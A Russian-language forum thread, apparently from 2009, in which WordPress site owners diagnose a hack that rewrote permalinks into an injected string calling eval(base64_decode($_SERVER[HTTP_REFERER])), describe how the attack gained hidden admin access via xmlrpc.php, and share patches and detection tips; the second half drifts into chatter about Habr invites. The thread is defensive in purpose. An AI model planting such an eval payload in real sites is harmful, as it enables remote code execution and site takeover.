Порушилась система ЧПУ

Глючит ЧПУ
вместо ссылок на полную новость вида:
site.ru/yyyy/mm/dd/ssilka-na-novost/

имею:
site.ru/yyyy/mm/dd/ssilka-na-novost/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

при нажатии на такую ссылку получается страница с:

Bad Request
There was an error in your request.

сборка от lecactus 2.8.4 . В чем может быть проблема? куда копать?

Сам нашел как исправить, оказалось это попытка ломануть WP
описал как пофиксить у себя вот тут:
http://zeddy.ru/2009/09/04/segodnya-vordpress-slomali-eval-base64_decode-_serverhttp_referer-wp-hack/

А не расскажете, как юзер смог изменить ЧПУ, через какую щель пролез?

имхо шаблон был кодированный.
иначе вряд ли бы поломали именно wordpress и именно последней версии.

ну насчет шаблона трудно сказать.. таких взломанных по поиску в гугле оказалось более 2000 набирается..

Я уже знаю, где проблема. Но вслух не скажу, пока не будет найдено лекарство.

Я, кажется, нашел простой способ. Желающие могут попробовать. Думаю, хуже не будет.

Берем из дистрибутива 2.8.4 файл /wp-includes/vars.php и подкладываем своему WP.

Или в имеющемся файле после строки
$pagenow = $self_matches[1];
добавляем
$pagenow = trim($pagenow, ‘/’);

Разумеется, уже имеющихся паразитов надо будет погонять вручную.

Непонятно какие версии WordPress ломают. С 2.3.3 как дело обстоит?

Думаю, аналогично. Проверить не на чем, а ставить лень.

У меня ломали 2.7.1, спасибо Ю.Б. за совет, а официальный WordPress только апгрейд до 2.8.4 предлагает, что не есть гут.

У меня такая же проблема была… заметил ее через пару дней. После того, как все сделал и обновил ВП возникла трабла с хостингом – из-за смены ссылок с ЧПУ роботы забороли сервер. Специалист из Мастерхоста объяснил, что это виноват "mod_rewrite". Я честно говоря, не знаю что это и как это работает. Но возможно, что такое и есть…

Прописал по совету в robot.txt дополнительное правило:
User-agent: *
Crawl-delay: 10

Это сильно повлияет на индексируемость сайта?

UPD. Поломали 2.7.1. Сборка Кактуса.

2.5
2.5.1
Тоже уязвимы.

Посмотрел по коду, получается, что дырявые версии WordPress начиная с 2.2.3 и выше.

Типа того. Получается, что два года сидели на пороховой бочке (из-за одного символа в регэкспе – ? вместо *). И если бы хакер, получив админские права, не поленился вернуть на место ЧПУ, и дальше бы продолжали сидеть. 🙁

Типа того. Получается, что два года сидели на пороховой бочке (из-за одного символа в регэкспе - ? вместо *). И если бы хакер, получив админские права, не поленился вернуть на место ЧПУ, и дальше бы продолжали сидеть. :(

так ЧПУ используется для взлома? я думал для перенаправления трафика.

Подмена ЧПУ нужна для того, чтобы выполнился скрипт, дающий юзеру админские права и делающий этого юзера [почти] невидимым. Сам скрипт состоит из двух частей: одна, свернутая в base64, передается как referer, в ней указан логин и пароль "повышаемого в звании" юзера, а вторая, универсальная, часть вдогонку за первой тянется с китайского сервера. Какую-то зловещую роль тут играет xmlrpc.php, именно он получает скрипт referer. По крайней мере, в логе, что я смотрел, процесс происходил именно так: логин -> изменение ЧПУ -> xmlrpc.php с "реферером".

Спасибо за инфу, только так и не понял, атаке подвергаются все блоги или только те у которых открыта регистрация?

так говорите вот этим

Я, кажется, нашел простой способ. Желающие могут попробовать. Думаю, хуже не будет.

Берем из дистрибутива 2.8.4 файл /wp-includes/vars.php и подкладываем своему WP.

Или в имеющемся файле после строки
    $pagenow = $self_matches[1];
добавляем
    $pagenow = trim($pagenow, '/');

можно пофиксить опасность в версиях от 2.3.3 ? А то некоторые сайты мне просто нельзя обновлять, ибо слетит сложный программинг в темах (ну, устаревшие фунции и т.д.) ?

Как можно определить взломан ли сайт? я так понимаю, если внастройках ЧПУ все ок, то еще ничего не значит?

Надеюсь, что можно. По крайней в 2.7.1 это сработало – "слева" зайти в настройки ЧПУ и экспорт не получилось. Вообще-то, в 2.8 есть и второй эшелон защиты – прямо в самих скриптах прописана проверка. В options-permalink.php так:

if ( ! current_user_can('manage_options') )
    wp_die(__('You do not have sufficient permissions to manage options for this blog.'));

Но мне показалось, что для многих это будет слишком: не осилят и вообще плюнут. Или переломают всё нафиг. Поэтому ограничелся наиболее простой в реализации рекомендацией.

Определить наличие "левого" админа можно по количеству, не совпадающему с ожидаемым

и посмотрев глазками или селектом таблицу wp_usermeta на предмет админских прав и имен, содержащих всяку хрень, не сильно похожую на имя (там всякие div и script).

Хм, на хабре чуваки сказали что если фид /permalinks/rss не работает, то вас сломали. На одном из сайтов он у меня не работает, но кол-во админов правильное. Может этот фид не работает потому что я использую ЧПУ по умолчанию, по типу ?p=123 ?
Что это вообще за фид такой (/permalinks/rss), насколько он важен и какую роль отыгрывает?

Может этот фид не работает потому что я использую ЧПУ по умолчанию, по типу ?p=123 ?

Разумеется. Если в .htaccess нет правил для реврайта, то с какой радости работать такому урлу?

Что это вообще за фид такой (/permalinks/rss), насколько он важен и какую роль отыгрывает?

Это фид рубрики permalinks.

Это фид рубрики permalinks.

Ну, эт я понял 😀

Воть, значит надо чувакам на Хабрахабре выговор сделать за некорректно поданную инфу 😆

Ой, Хабр – тусовка мазохистов 😛 Нигде больше не встречал такого количества статей на тему "как принудить себя больше работать" 😀

PS Впрочем, от инвайта на Харб я б не отказался.

🙂 Да, жадные мазохисты, поделитесь инвайтами! )))

А честно заработать? 🙂

Не царское это дело – зарабатывать 😀

Я тут вспомнил что зареган, уже даже "вспомнил" пароль но чет не могу понять как инвайт выслать… 🙁

Наверное у тебя карма низкая. 🙂

ух ты, оказывается давно уже на хабре инвайты в ходу…
у меня тоже инвайтов нет 🙁
Mixa, посмотреть у себя инвайты можно так: http://username.habrahabr.ru/invites/

Йо-хо-хо! 0 приглашений! Можно позвать хороших людей, но попозже.

Кажись, пора переносить данную ветку в курилку )))

Кажись, пора переносить данную ветку в курилку )))

Полветки.

у меня там 2 аккаунта, но оба с -10..-20 кармы ((
на хабре невозможно жить с собственным мнением, надо подстраиваться под большинство – иначе закопают.
один единственный вопрос типа "что вы нашли в этом apple iphone? большой, неудобный, малофункциональный и дорогой" – и десяток минусов в карму обеспечено.

и десяток минусов в карму обеспечено.

Ежели в одном месте убудет, то в другом месте прибыть должно, сказал Ломоносов. Так что ежели на Хабре кармы убудет…

Anonymous
Отправить
Ответ на: